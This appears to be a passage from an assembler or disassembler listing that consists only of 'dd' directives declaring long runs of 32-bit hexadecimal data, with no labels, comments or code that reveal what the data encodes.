		dd 30405A97h, 8EA948h, 9402F163h, 1B9217DAh, 6BE4A8A5h
		dd 0A09EC560h, 0F725D300h, 0ABBCBE1Eh, 0BA410361h, 0C0F9389h
		dd 12B8E948h, 0C019B01h, 6D14DE63h, 0E817D0A7h,	60854C88h
		dd 69C7B04Bh, 35D3821Eh, 82C015D4h, 471889FCh, 655F448Ch
		dd 0CFD97380h, 67500B45h, 4CA91797h, 26E4C445h,	9DFEA560h
		dd 180DC22h, 725E0631h,	0D859C889h, 861E6FD4h, 1C2492DDh
		dd 2C80EC91h, 49FCABCFh, 37C00899h, 14B3CF35h, 74137EFEh
		dd 10277119h, 86121092h, 40CD00A0h, 9909A86Dh, 1E293EEh
		dd 971B8F2Dh, 80791174h, 0ADC33FB8h, 197560DCh,	7B41B7FCh
		dd 335F3000h, 89495AE8h, 0C6470044h, 0A32550ADh, 0E916EECCh
		dd 0AC207ADDh, 4A8A7Bh,	0B7FA79E0h, 0A224AADBh,	7A1FA491h
		dd 9500F8AAh, 16B5B245h, 6BB999h, 0A573C1C2h, 0D2C4C53Fh
		dd 0D8A97E01h, 7CA0201Ah, 31CFA874h, 7741FB98h,	428FE9BFh
		dd 2B30E5B0h, 0FCA612CFh, 88B21h, 4ACF3830h, 7F43ED57h
		dd 70D018A1h, 0CE9FA19Bh, 6201DA00h, 98B92EEFh,	82E4B4FEh
		dd 7B469DFDh, 9651A800h, 201C986Eh, 5D031660h, 0F4E884C4h
		dd 34100E75h, 0D053F3DCh, 0FD7DD9F4h, 46C92A00h, 0CEF9BE05h
		dd 0CA010BF4h, 27F89F6h, 6351F32Dh, 2486D9CDh, 4B4B1AE0h
		dd 23002F69h, 813A0082h, 0B859A90Fh, 7A14D54Dh,	727D401h
		dd 0ADD8AE45h, 0E842DC25h, 3CB44471h, 18EF09F8h, 838C904Ah
		dd 0B9C8F0A3h, 200A3D91h, 5E4194F4h, 0BA3603F8h, 2028B0B8h
		dd 0E72D6A93h, 0BF389785h, 0C560046h, 0B6C998F8h, 85710B1Ch
		dd 0A061F6C5h, 6CC880A5h, 562E7F9Eh, 0D0021DC3h, 5826E015h
		dd 4674D4C2h, 9FE2004Dh, 0C86941DAh, 9671307Ah,	0E93903F9h
		dd 0E0116100h, 748AFFF7h, 0E3D501CFh, 14931F6Bh, 2DB42580h
		dd 4CB8B0h, 729DC7CCh, 98C0D67Eh, 1892F476h, 524058B4h
		dd 1DAA5Eh, 15463836h, 0CE4B3410h, 1805A424h, 7FD68900h
		dd 0EE5CBEC7h, 60A00312h, 9F35C56Ch, 75580AF8h,	847F10C0h
		dd 18BEE17Dh, 30C8592Eh, 400A781h, 133EABA0h, 66467D41h
		dd 21B00803h, 0A00D091Dh, 0C274D1C0h, 0ECEDAA5h, 5D54DF6Bh
		dd 2958FC8Fh, 8300750Dh, 0B49599CFh, 3013C7DBh,	0A1998285h
		dd 393E7DEAh, 60A29CF8h, 8CA3030Eh, 0BC2164h, 1DD97DF2h
		dd 0E835E9E5h, 88D0830Fh, 623CA317h, 0E7280081h, 71D22A04h
		dd 68C1EF7Fh, 5E0E3F76h, 5CD42083h, 91785FB2h, 42379E0Eh
		dd 9D3860F0h, 0CC203FC3h, 0FD21D208h, 53422F00h, 0D5FBB40h
		dd 87B1B68h, 0BCCB41C4h, 0CE95291Dh, 0ABF838C0h, 7D3DD41Ch
		dd 22F60CDDh, 0B6C17585h, 0D29C1200h, 8C9DA04Eh, 1ACD017Bh
		dd 8048A646h, 0E88425Ch, 87DEF30h, 0A303F834h, 0C1456D64h
		dd 58D606F7h, 4B0091B9h, 8F340D3Fh, 0EC6BA24Ah,	0A6E8C6h
		dd 5AFE58D3h, 2857E1A9h, 0D440BC3Dh, 0E1F6B98h,	0C45CC059h
		dd 0DF62D340h, 692883Bh, 0E0B9C340h, 0A0C87118h, 7DEDC010h
		dd 0D356F83Ah, 6522D8h,	0DE7DF5BFh, 4631759Fh, 4536790Eh
		dd 2032A2BAh, 40384274h, 0C2B4C469h, 0C25FAA78h, 0C63AA8A0h
		dd 9B067F8Ch, 0BB5E4999h, 85880319h, 25AEC0E3h,	97F9F6BBh
		dd 4809E0F9h, 235C4248h, 0A007002Dh, 40FB3EA8h,	6B54486h
		dd 2CA0101Eh, 8D594EC3h, 76180CBFh, 57719A45h, 97946354h
		dd 0BACEB41Fh, 8CA3778Fh, 0E8061946h, 5F5630F5h, 88A73C11h
		dd 0CDE60901h, 0BDDDC2A3h, 21720898h, 6C98AF22h, 40E93001h
		dd 0C3F56B7Fh, 29E59183h, 7EE18D2Ch, 0D023DBE7h, 0A00B0131h
		dd 18DB3EA4h, 140288AEh, 5701FAB0h, 0D57E42B4h,	79806C56h
		dd 94F7709Ch, 0F800AA1Eh, 1A557A71h, 1E90A028h,	0C52FD0E6h
		dd 61440Ah, 3E3B08CCh, 149A6042h, 1EB40B03h, 7057B1h, 16D16E51h
		dd 0F104E521h, 30A54400h, 54E44BD9h, 0E3C301B2h, 0E72FF8A4h
		dd 32C89141h, 32A00887h, 0AF31F33Eh, 0A0110510h, 2D03FC7Eh
		dd 539689E2h, 0C0B29869h, 29070102h, 1A04DD46h,	77F420B7h
		dd 0BC141C92h, 0FCCC4E43h, 33038C71h, 1C424626h, 56F81864h
		dd 0AFC32165h, 680049B8h, 8AA875B2h, 36344CA6h,	709879C9h
		dd 0A402F246h, 0D5E60C88h, 21107831h, 0F0F88ACh, 801953C4h
		dd 420204DEh, 3E0C183Fh, 544CD8CFh, 60973D30h, 2632F7FCh
		dd 84DC5E5Ch, 80B678D9h, 0D537E09Ch, 6C9BACFAh,	0DB1F3917h
		dd 6C670853h, 320380D8h, 0BC07DA42h, 6B6FC61Ch,	83C5FD48h
		dd 7E793440h, 10A87848h, 0BC01C706h, 40DF9229h,	0F4F09166h
		dd 0A88A680h
		dd 87C5E6h, 6588AE23h, 0DA0085D6h, 72DB306Eh, 50FE6C11h
		dd 742C3CBBh, 0C16B8191h, 3E1982C7h, 0A702554h,	15F90E38h
		dd 16A0627h, 0C303E850h, 5820020Eh, 448940C3h, 0CC810424h
		dd 40211809h, 76C35000h, 425A55F1h, 418D1409h, 57232621h
		dd 44C35F0Eh, 1C627C89h, 0C3574720h, 7E4C38DFh,	74E9B88Eh
		dd 5548760Ch, 0C35D398Ch, 886C8911h, 55458019h,	582B5EC3h
		dd 1AE22903h, 99FABF0Fh, 258C2086h, 0CD0B06E8h,	8D854803h
		dd 0AF898E6Bh, 18BE1026h, 2509E95Fh, 68F41E3Eh,	38B004F2h
		dd 7E5C557Eh, 40F5714Eh, 24294460h, 1A74670h, 4F2E961h
		dd 0B5110A80h, 0FE83B045h, 38E78E01h, 7BA84DBDh, 0C300FA3Bh
		dd 0F1A64FBFh, 0FF074EBAh, 0A8FA3884h, 38A80009h, 0F565C65Dh
		dd 0A7B71D20h, 9E0B401Ch, 45F77816h, 0E7864F00h, 3204C696h
		dd 3CED309Dh, 446D6F52h, 4175E501h, 0DB0D94Ch, 4240AE3Eh
		dd 0AD1D9D96h, 0D85B00C8h, 0B6352E68h, 63005046h, 0B8286EDEh
		dd 1C497E31h, 8A647AEAh, 0E024BC39h, 4EBE3EF5h,	0FC78A700h
		dd 71A51570h, 83B3009Ch, 9D99096Eh, 0C03EEF96h,	81448C07h
		dd 0BA4158h, 0D7D9A350h, 4152CECFh, 98876E02h, 0E16BAB1Bh
		dd 28833C1Fh, 29208F26h, 97A8E7C0h, 0B2704C2Ah,	3E24602Ch
		dd 0BFE45F03h, 0BB2E09F2h, 958CFDDFh, 0D900EA11h, 2E858DAh
		dd 31212897h, 24481A9Ch, 1980170Dh, 0C2B9Bh, 0C9B13D1Ch
		dd 967E6CF2h, 39C52401h, 0A5EC57B8h, 77485389h,	0E8138155h
		dd 0B8B93E78h, 0DD5C5500h, 4E63296Dh, 0B78EEF0Ch, 5E593392h
		dd 220C0048h, 85EC84B2h, 9B985A00h, 46C3A717h, 0A2730EE3h
		dd 24782E8Dh, 3418F89Dh, 431A624Fh, 5A0744Ah, 0B5979F0Fh
		dd 13B5007Ch, 2DDE8CA3h, 5A5CCC1Fh, 0C7F68Eh, 0D7831282h
		dd 9C3500FEh, 93193A74h, 0D137F8CBh, 8BB190D4h,	70E032DFh
		dd 178C60D5h, 4DF363E2h, 80537C3Ah, 24045C79h, 0EA8FA9h
		dd 36B77416h, 0F8D747AAh, 0BA06498h, 0E060B8E1h, 0C232B63Eh
		dd 557D5Eh, 5478DF79h, 1F9A705Fh, 4499B00Ah, 0BF24BB7Dh
		dd 8009BB22h, 0DF3AC624h, 810AC3DAh, 9BA1E85Bh,	8F7B4C80h
		dd 318CA5h, 0D259D5C1h,	0EE5EDCEBh, 9A180700h, 3522EC2Ah
		dd 6EBC00CFh, 0A8421E7Bh, 9D00056Bh, 87E48965h,	13454017h
		dd 0FCFE06Fh, 0DB20C6CFh, 0B0E656D6h, 802BDF06h, 229C762Dh
		dd 0A7403B93h, 53600156h, 309581F1h, 1171E089h,	68D4A112h
		dd 61550D00h, 0CA5A7Bh,	2241E3A5h, 0F31B8A60h, 0EFC25D60h
		dd 6092312Bh, 1D2E114Fh, 9B0C426Dh, 74C94BAEh, 0E50144D1h
		dd 5900247Ah, 7FE7445Dh, 782C9051h, 1F7A00CDh, 62B18601h
		dd 0BC79C9F3h, 5668471Fh, 2B6BDB80h, 0E06152h, 0A1494670h
		dd 0B6299073h, 74F73C00h, 48A56604h, 6D3D03D8h,	8BFB7DC9h
		dd 0DFB28Bh, 564A37Ah, 0A00D4F4h, 30DA4AA9h, 28F972Eh
		dd 8E169B76h, 767D79BDh, 8C25140Bh, 0EF048839h,	0EF9366AAh
		dd 6C0C36FCh, 0B013C209h, 0F100D6ECh, 0DC532292h, 6A7EF5Fh
		dd 6DD839BAh, 559F2724h, 731A5A82h, 88F8F780h, 3502B8EDh
		dd 0BB9DBDAEh, 0CF8FA409h, 80A1A8FAh, 44A6ED5Dh, 0CE275D4h
		dd 0F6529EFDh, 0DA00EBACh, 40C1F2DCh, 13F93AD0h, 0EA6B0A7Ah
		dd 70DA1B0h, 3BB945A4h,	0DDF210CBh, 7F00FC2Dh, 981A070Fh
		dd 0CF5EE28h, 150E0878h, 1B98FEBEh, 0E7CEBB00h,	0FC6CCFF8h
		dd 218C1819h, 4CA7A41Eh, 550005E1h, 0F22AC030h,	0DE0E2CABh
		dd 3C125Bh, 0F6BF9067h,	0A8671409h, 51D76AC6h, 73CEAFD3h
		dd 0A70C001Eh, 0D3E0D646h, 0B900FD6Dh, 98FFEBC4h, 1C582925h
		dd 93481628h, 7A55061Dh, 5F63B57h, 3336651Ah, 0E9AB4010h
		dd 6CA8320Ch, 9D908497h, 6007040h, 3C0D169Ch, 128AE9FAh
		dd 1A47B1Ah, 3A64DFEAh,	0C2CC40E7h, 29FE6857h, 0B11F4890h
		dd 2040380h, 138004B4h,	0EFEDE3Bh, 8C9D108Ah, 841A9984h
		dd 82F9EF00h, 1CA8FC01h, 0D4189B88h, 0AC00E387h, 5DA94D01h
		dd 1CF451DDh, 80BD9284h, 68AE1EA1h, 0A612B897h,	6F002C8Dh
		dd 0F44FE585h, 16B1E865h, 0F7DB61Ah, 0EBE3DC9Fh, 0D6271E0Ah
		dd 9060D5BFh, 0D0001FE0h, 7EB2E79Eh, 7BB68D51h,	169F005Bh
		dd 0C251122h, 562C3FAFh, 0BC01ADC9h, 0DACD6839h, 2C7CE3E4h
		dd 40C77651h, 4D6650C0h, 8D5FEB2Ch, 607E9CBFh, 2982C780h
		dd 4C6956D3h, 6F00E558h, 0AF989E0Eh, 85000126h,	0B6FDADA6h
		dd 49D1C535h, 0D6007CE0h, 479C43EAh, 800B75Eh, 6AD43CBFh
		dd 27D28B90h, 0CAD77161h, 0C40A62BCh, 0FFF34E8Ah, 0EFB42ECBh
		dd 14C71EF8h, 0B5E23724h, 830B07C2h, 1C8766EAh,	10525C2Bh
		dd 7F27FF6Fh, 0EF90E6C5h, 34DDDFh, 0B72FB3B8h, 0D800F713h
		dd 5606E0C1h, 31953BEh,	0F0290C1Bh, 42C3685Eh, 0B724A138h
		dd 0A62F6283h, 488150h,	70713E72h, 5108468Fh, 77C9B973h
		dd 31D58501h, 8B591102h, 84509434h, 8B538106h, 89536A81h
		dd 57C381E3h, 1C106866h, 7F7BE900h, 7C0CFFFCh, 1D4B4600h
		dd 32B84C56h, 0FF184EFEh, 0F5454FD0h, 0E74D006Ah, 363F760Fh
		dd 77002AB8h, 4969E1FAh, 728BF58h, 1EFFBE68h, 0DCA09F08h
		dd 2D384C20h, 1D802700h, 9821446Ch, 0EE3700CCh,	4574FF12h
		dd 8007D06h, 3EA0A24Ah,	3ACD7EA9h, 0C5803D78h, 2F38E833h
		dd 0E1071021h, 19702409h, 518014C4h, 5913299h, 0D7155D77h
		dd 0A89E009Bh, 0F20C8CF6h, 3B9AC307h, 33C0B27Dh, 0E04CDCh
		dd 50F1BC5Eh, 5CF31E56h, 588B3E07h, 0C1411739h,	5622860Fh
		dd 0F8BF1476h, 9449CEBh, 7E822F2h, 2C1EB705h, 21C0217Bh
		dd 0EBBE66h, 858D5FAEh,	615279Dh, 504E90F8h, 51F388FFh
		dd 5E616012h, 6ADC961Fh, 9FE303Ah, 0D908F9BDh, 0C18F4438h
		dd 0DCBED819h, 20C0330Eh, 65056983h, 6019E47Fh,	0EA8EBFB6h
		dd 666A0301h, 8A49D781h, 0F98B62EFh, 5A657D4Bh,	2F215604h
		dd 89C8C35Eh, 15448C74h, 0C3561646h, 0AE05FBCAh, 2308F9EDh
		dd 0C35BC353h, 185C8991h, 5343881Dh, 870FC339h,	0C145FF2Bh
		dd 79111B30h, 4BF27C8Bh, 93855083h, 60D6910h, 267995FFh
		dd 0DB7EC10Ch, 0F99D8D87h, 895E209Ch, 0E4ADB53Ah, 0D2B2D32Dh
		dd 0C83017F2h, 0EFE20C7Ch, 0DA1910E9h, 8069373Ch, 0ED5B6489h
		dd 73EB516h, 0D68D7E4Dh, 0C695C5C3h, 853A79B1h,	81A5E035h
		dd 252AD0E6h, 0DC8671E9h, 5DE055E8h, 9955EDFEh,	52AC91FBh
		dd 22C35A87h, 1A315489h, 0C3524210h, 2BA5FB00h,	0E6F12939h
		dd 0FFE70781h, 6233FD99h, 2F49ADBDh, 416225D0h,	5018878h
		dd 16232B3Ah, 581F2204h, 0BD2A2297h, 0AB922713h, 0C3593051h
		dd 4C5289E4h, 51418427h, 0F85FD880h, 88A09089h,	0E0E381DBh
		dd 4D23E101h, 43301AB2h, 0C17B060Ch, 0F2152A55h, 310825A4h
		dd 322D4585h, 2CE1F1C2h, 237EB40Fh, 97DFD800h, 0C012E9FBh
		dd 59427015h, 48007DC6h, 734BACD5h, 0F9D613h, 0F6C979B0h
		dd 65BD8312h, 6C18FF30h, 0DD11840Fh, 0F6B7813Fh, 818BE9FCh
		dd 95295213h, 8885226Dh, 1A85C75Fh, 7D1DF81Eh, 0EA801911h
		dd 15B3C6B7h, 8FBE2B02h, 6017EBDEh, 2962E754h, 0D92F4AE9h
		dd 33181Ch, 0AAE2990Fh,	0A9FAE14Bh, 0E934BDF2h,	6327C817h
		dd 8352BF08h, 9750D400h, 0F0EB4178h, 4A65222Ch,	0C17A5E00h
		dd 486259A6h, 9AD0268Dh, 2381F903h, 3997FEFFh, 0D7812F37h
		dd 8E0F2945h, 0BD894A40h, 90209A6Dh, 0ED8DF0C3h, 8C66C550h
		dd 78B69BDBh, 0A50972C9h
		dd 0E43AC63Ch, 292002E2h, 7DEF1DDAh, 18096360h,	34205F81h
		dd 0DDA414C7h, 195085F6h, 72418A75h, 0D52BA1A1h, 8A1817D1h
		dd 7AE33818h, 751BD666h, 90EEC97Dh, 0D9E99A81h,	4702350h
		dd 38B3FB58h, 60326380h, 0AAB9005Bh, 1571E30h, 0C8263C27h
		dd 4674F090h, 6F5B001Ch, 0EC9613Ah, 0BCF52884h,	0BB920B9h
		dd 934FE92Ch, 795874A3h, 4CE30CCAh, 7F190AE8h, 0A6108E0Fh
		dd 22D3C17Ah, 26614F36h, 0B05F22C2h, 14913797h,	26D31D8Ah
		dd 17DDC24Bh, 0C070E603h, 0C50379B5h, 8E71E410h, 0C015883Dh
		dd 0E9605E09h, 0AF170560h, 621BABB1h, 0C41703Dh, 0B60F6100h
		dd 142FB2D8h, 4CBA205Ch, 0F6F6E5Ah, 0C03EA10Eh,	0B3A8EE9Ah
		dd 1D0C437h, 0C3921D08h, 1423003Ah, 0BF0BF126h,	69A298F9h
		dd 934B008Ch, 5E26539Ch, 0C102FA8Bh, 0F76604E8h, 70F5DBE2h
		dd 37175C30h, 104EDCBh,	2B050119h, 2F66FD8h, 5093F9FDh
		dd 0F79D4052h, 5A31190Fh, 100E9A58h, 41F427h, 16C87F4Fh
		dd 2F59DD9Ah, 0EF5E330Ah, 0CD40E1E8h, 3E065C51h, 3FFE530Ch
		dd 0BB0935Fh, 8E9141Fh,	2E1B6600h, 35253F51h, 5E8AA039h
		dd 0E0B558FFh, 210A0492h, 9D89012Eh, 0CA80A75h,	0C73FA267h
		dd 601B441Eh, 38872Ah, 0D5926D76h, 9585090Eh, 95622649h
		dd 6DAC26h, 0C43E1A46h,	0E6EA6BCh, 27B9B2C4h, 5F013C09h
		dd 0AD025283h, 92679034h, 96A001C6h, 0AA903950h, 4E7325D1h
		dd 0C01888A5h, 14759F9Eh, 3A60E626h, 122BA03Dh,	7461D98Bh
		dd 882DCB98h, 0C1A8C01Ch, 350279C4h, 23CB8DE5h,	5987E060h
		dd 0DD618122h, 0F0B466C3h, 1CC61C7h, 2AD9ECEAh,	25FCBC01h
		dd 911C6091h, 0B5C91E61h, 0CA923DDh, 181DF99Dh,	1237F3Fh
		dd 0E2B9E30Dh, 20EA078Ah, 80520F9Ch, 0B5230992h, 58392409h
		dd 1988368Eh, 0A5EC56C0h, 0EBA83136h, 402D9BCh,	0C54768Ch
		dd 631970CAh, 40208881h, 0F28B1E01h, 28A4D52h, 26A9282Dh
		dd 1DA52BB9h, 8018113Fh, 80BED1DDh, 547D90A3h, 7083A7FDh
		dd 0D93B04C1h, 40FE860Fh, 0C274D781h, 15225C58h, 20C9987Fh
		dd 0F62C2D99h, 0C091E3C1h, 1638BD4Ch, 0F9362B8Bh, 0D6ADEA14h
		dd 0D34E7960h, 29160A09h, 8A28120h, 5B0F10F5h, 4D37360Fh
		dd 5C84DD7h, 448D8501h,	9BC32BDDh, 4863C0E9h, 317CF4Bh
		dd 0F687D890h, 0FBD17ABFh, 3D2C7058h, 0A6083425h, 833D3F30h
		dd 831751E1h, 5F441AB8h, 0E92C7198h, 0FC5A50h, 7BC9B448h
		dd 5C3058ECh, 89340588h, 0A2EE23C0h, 0B8DE301Ah, 8847C901h
		dd 0F38B7B57h, 0D844DFCBh, 1B88338Eh, 7402AAC0h, 4DA00963h
		dd 15817140h, 0C7585h, 2846DA80h, 88D5C761h, 256D5DE8h
		dd 0D1B75B26h, 23C0102h, 0DFBE90E8h, 1F390259h,	668991E9h
		dd 100F30E1h, 7B042086h, 8D1E00E5h, 0CC306876h,	0EE053B8Bh
		dd 615E507Fh, 0D2C0D70Ah, 1194674h, 112D9EE8h, 0A560331Bh
		dd 704B9CFAh, 9E15185h,	7AB6A2Ah, 0E1ED7CC9h, 0CC81EFE4h
		dd 0C6390561h, 61763741h, 0F81A30E0h, 7E29DC02h, 0CC131B31h
		dd 44D187CCh, 92CF601Ch, 1BC6024Fh, 98945D4Eh, 0F36C93EAh
		dd 4A7020BBh, 0BD090C87h, 9046254Dh, 5F1261B9h,	1523873Ah
		dd 582AAE39h, 9A109260h, 14C20097h, 7CDFA005h, 0E2B1E82Bh
		dd 999F5207h, 5EC1C230h, 0F8033AADh, 55B50B09h,	3D2749AAh
		dd 0ED6E4Eh, 0BF8B30FDh, 0E80BF54Dh, 2C7B28D7h,	198D2EE1h
		dd 0D50CB130h, 1A92620Dh, 0A0D0491h, 32ABBA8Bh,	0DF1B78h
		dd 733AD1C1h, 96FFBEF9h, 0E97D2112h, 0C4E23FD4h, 1458D002h
		dd 0F558E2DBh, 89BF9202h, 9D28CD85h, 80141141h,	47BE502Ch
		dd 229D1202h, 23693A5Fh, 6C560A15h, 34550887h, 0F6B3E904h
		dd 0F9A0B3E7h, 312A3F4h, 5E441DBDh, 8D8EC18Bh, 90C51488h
		dd 0EC4DC1B6h, 93009ABCh, 295AECBDh, 0B609A58Dh, 39F18B18h
		dd 3148D766h, 21D20E6h,	60CABF50h, 8FD8472Eh, 18ABFFE7h
		dd 0FD4DD576h, 9B7A5AD0h, 4A97BB19h, 5812FA3Dh,	4203B689h
		dd 370B0BC7h, 724280E8h, 0A99ABA10h, 986CED0Ah,	0AB27F7CBh
		dd 90296038h, 0C8524C50h, 89310F1Ch, 41D30C8Fh,	16AB2683h
		dd 5EE1F9EBh, 0BE007F2Ch, 42CA79A0h, 0BD242990h, 0ACB4AF01h
		dd 80C3309Bh, 0A2105348h, 5E011E7Dh, 0CA0FBE66h, 0A70E776Ah
		dd 32C06E0h, 91810077h,	6056B851h, 0A134BD2Bh, 4A856619h
		dd 0A061BEB4h, 5E7D95DCh, 3A337510h, 51623D5h, 0E3C846BBh
		dd 40C2484Dh, 275E8999h, 992E4F34h, 0A8141423h,	2E591797h
		dd 2541379Dh, 0E900161Dh, 38BC089Dh, 840BD158h,	7660D88Dh
		dd 309D01F2h, 0BF68144Dh, 8C2F832Bh, 45381E47h,	0FDA741D6h
		dd 799D111Dh, 88B10B0Dh, 0A514C01Ch, 10052AAEh,	3672A082h
		dd 2DA9EF05h, 74D023E2h, 28C18A8h, 0C75A487Ch, 63DAE871h
		dd 0D14A5D00h, 0DD77FF8Dh, 0BB4E4814h, 30496A03h, 82FC3BE7h
		dd 8DA5F123h, 1B2A25Fh,	56AED9F8h, 19C0BD9Fh, 1C27AD3h
		dd 136C6E34h, 79E72E99h, 9FD62D46h, 801D11D3h, 0B6F9F49Fh
		dd 7C1427DBh, 0BD83EC80h, 195E0A26h, 352E4F4Dh,	0E5C06F5Bh
		dd 95291502h, 1843D549h, 0BE23ABE9h, 0FD3C0557h, 1085C744h
		dd 3B5EC53Bh, 1A233Ah, 711E190h, 0EA05AA3Bh, 5880F52h
		dd 18B93800h, 0BC5F7FA1h, 21A84038h, 62006D86h,	0FD735DE7h
		dd 1128B25h, 67CDE644h,	2C52E901h, 8C1AF83Fh, 53D31803h
		dd 9DFD8D2Fh, 2C0A7627h, 1B4676h, 26C94935h, 2C1AC8E3h
		dd 125B0FA0h, 0F898328Dh, 95A58DF3h, 801D9127h,	0FE63EACDh
		dd 0E5E30099h, 8174666Bh, 44172EEFh, 86850367h,	2AEDD904h
		dd 6554C816h, 516E4BD7h, 0F145205h, 8CAF287h, 51195B5h
		dd 0D4CD9D09h, 0B99B3D2h, 0A519B533h, 0E48150EAh, 0D265F47Ah
		dd 1488800Eh, 0C7D20AC5h, 0EDE90120h, 886A4E03h, 0AD3EC01Dh
		dd 0DA02EB63h, 0C40A36B7h, 11F3C1C8h, 0E0B0D992h, 0D9055ED9h
		dd 70E632B7h, 1D184085h, 94820F20h, 55E99436h, 880E83Dh
		dd 0E04AE2F9h, 0A500D1D2h, 5B8A8E19h, 0BFB1F39Bh, 71E49340h
		dd 5E78E493h, 66CF3FD2h, 1A68DE8Bh, 6DCDB842h, 0F9F6DE1h
		dd 0BCC46FAh, 1D7E2EFDh, 0AF3DB642h, 6D8F1080h,	0C9DB11h
		dd 0B3CA29B0h, 241B52Bh, 0A18BED94h, 0B655C604h, 0CE06D421h
		dd 92CD73ADh, 0BF12050h, 662EBC9Eh, 81294BDCh, 217FE4BBh
		dd 6809D9A5h, 91E88BD7h, 8B40A9B9h, 16DC1E3h, 0A6F2B63h
		dd 0DA5EB453h, 17D13A79h, 0B91F0A18h, 0C6C1D1DBh, 272F1B4Fh
		dd 299DF70h, 8976DEF6h,	31CD241Ch, 0B1DC60E0h, 0A42A027Ah
		dd 640CBEA5h, 84BC8A71h, 73CBAFD2h, 500B68E3h, 393DB05Eh
		dd 0F1BED002h, 0EBFE40F9h, 93A190C9h, 0F6A078DCh, 1106AB04h
		dd 9E85F13Eh, 0F1033EC2h, 1E5884Fh, 10136325h, 5522D122h
		dd 68D94792h, 66E68180h, 9143D1A2h, 9D298676h, 4BA15771h
		dd 49128850h, 405F1211h, 0BD31602Dh, 16DD0E09h,	0A96719EEh
		dd 6DB9A4A0h, 985A008Bh, 41560839h, 450135D9h, 0B196E1CFh
		dd 4BC6619Ah, 778A9E29h, 0F11C91BBh, 4FB1819h, 0A0EC8334h
		dd 827085BCh, 0A6FA2FF4h, 45F7BC98h, 0C0F7DB8Dh, 78BF3C93h
		dd 0B2E2D7Ch, 0BC02E093h, 835D4BC7h, 649EC7C1h,	14566017h
		dd 0DA1B51C9h, 0C170E069h, 0ADBD33B1h, 0F55F2B10h, 46747FE4h
		dd 800A0218h, 0D955F37Fh, 38DCACBAh, 8B066C45h,	7BBF8Ah
		dd 63688F65h, 0D9591DF4h, 0C0139488h, 7824B00Eh, 97140044h
		dd 374640CCh, 163F5285h
		dd 8B31968Ch, 0A5B0083h, 0C32BF008h, 0A6E705B7h, 22DDB6D3h
		dd 0BE660332h, 61E9A221h, 0E8B3C34Ch, 0D6008C1Ch, 0DEE026F4h
		dd 1EF9CCh, 28D5BE3Eh, 0C08B0B6Eh, 0DCC9B4h, 333945E7h
		dd 8CB8AB20h, 0F18CE84Bh, 8D951029h, 2588500Ah,	6F5B697Ah
		dd 13E9E246h, 10A5002Bh, 0A9071F37h, 330050F0h,	0B30C7B29h
		dd 0E85A4CFBh, 0ED2D5CE9h, 0D34C904Bh, 305C081Fh, 0C2F732CAh
		dd 80C1DCE8h, 11D3560Ah, 3B005901h, 108712B4h, 0B65F81B9h
		dd 0AF66797Ah, 9373Dh, 0EB69274h, 192530BBh, 0C47F10A3h
		dd 7E4E002Ah, 4822E508h, 0ED7F6C30h, 1E185B05h,	8CB7DA0Fh
		dd 1BE2E552h, 2FE7F30h,	53C9BC9Dh, 0CD60337Dh, 5B3AF05h
		dd 0EE163428h, 6DDD3090h, 1588874Bh, 825B2EC2h,	0E190FFBCh
		dd 7AC27D9Eh, 719960CCh, 0C6D9D31h, 174433A7h, 58973060h
		dd 0C0B1F548h, 88A2BC60h, 5E5D00A8h, 0A6826611h, 0DC1C4D84h
		dd 2718CBECh, 5A59F6E8h, 0AEC6E34h, 0B0870FA6h,	92C0449h
		dd 4351625h, 0E0AC51Fh,	1612160h, 0A6381D8Dh, 49B7B11Eh
		dd 0FAB7F98Bh, 95578280h, 28014208h, 0EC1F8A0Fh, 0B3FA59B7h
		dd 831CDDBCh, 0CCC554E7h, 781FE86Ch, 0C817880h,	0B67DFD1h
		dd 11A55943h, 1085F287h, 474D31F8h, 0F4BECC03h,	136EBAF7h
		dd 527D8D6Ah, 0E0CFF67Dh, 1663DB43h, 4BC7BF9h, 52325E6h
		dd 97EC6EE9h, 6D858904h, 0E75B880Ah, 8B2440F6h,	4674CEC1h
		dd 68EB1915h, 0D255616Ah, 824A6AA3h, 437C2F7Fh,	730B9E4Ah
		dd 24D6627h, 1B02DE81h,	0DDE00BB5h, 0A7250E83h,	37B8957h
		dd 5ECFB8D1h, 0F426E9Eh, 8067EA69h, 0BF3A5551h,	8D0F26E2h
		dd 0BDE9448Eh, 0BC8F0073h, 42980DC3h, 0AD4901F1h, 47248D34h
		dd 62446A7Dh, 0C3241A31h, 0E6B5193Dh, 0E041E14Eh, 0B2E50103h
		dd 8C0F1257h, 0B85267A4h, 7380F54Bh, 3882BF5Fh,	4B5265Ah
		dd 8B34F36Dh, 0C019886Bh, 6CC51EAEh, 0CBE03028h, 4AE77935h
		dd 6A00036Fh, 0C611BEF6h, 0FCA1135Fh, 0F60825C1h, 3878F07Bh
		dd 1AC60C9Ch, 74581BBEh, 5875EE5Bh, 0B1A099B6h,	0D324F28Eh
		dd 4538034Dh, 0A8D16068h, 0D2010EBCh, 0D527205Fh, 0EE41D3FFh
		dd 5D6D1CE5h, 80DA9BD2h, 63D26A1Bh, 284580A6h, 27036080h
		dd 0F219DB5h, 52985h, 0B636E961h, 165C708Bh, 0B9E96080h
		dd 0E5D90026h, 374A9339h, 0D72D8798h, 45739E61h, 22425746h
		dd 0F650699Dh, 752D2E90h, 994C9617h, 181A7116h,	99BA1E59h
		dd 0E225C1E7h, 0D711B529h, 20485C5Ah, 83FC81BAh, 681490BDh
		dd 0B3A592FCh, 7DC0E71Bh, 94D0B25h, 0DCC8D84Bh,	3A1B3B12h
		dd 962B76BDh, 8093D030h, 5AC06E0Bh, 0BCBC8D4Fh,	14AC1F69h
		dd 211E588Ch, 17294110h, 0BB7E44E9h, 68672E00h,	0AA4FC60Bh
		dd 81F8F625h, 1126F7BBh, 25C25B49h, 0F9E08360h,	0F5302FCh
		dd 5A0E8188h, 16238D61h, 9919BF02h, 0F2D13590h,	6D0E6097h
		dd 204E1061h, 56DFFA1Dh, 74739E00h, 0A2B22F52h,	0B592056Eh
		dd 0A161585Fh, 0F14A66E3h, 6E29E9F9h, 3DD53B00h, 3A28817Ch
		dd 9E7D1409h, 44CE8BA8h, 0E15A470Bh, 0E574AD48h, 0A9898217h
		dd 1FC65892h, 82423B00h, 1EE9C2EAh, 45E42Eh, 94E6FDBAh
		dd 0C7B96E2Bh, 56E8660Eh, 99CC325Fh, 61D805BEh,	0C39075B6h
		dd 5E8B5095h, 164ABCB4h, 0D0532DE9h, 63E036B6h,	352E9F5Eh
		dd 0CE061EABh, 385A318Bh, 0DB4EB0FEh, 0B8938798h, 0A1F0C0F1h
		dd 5EE569Eh, 9B70E645h,	364C1ADh, 343B71E4h, 0C66E15Bh
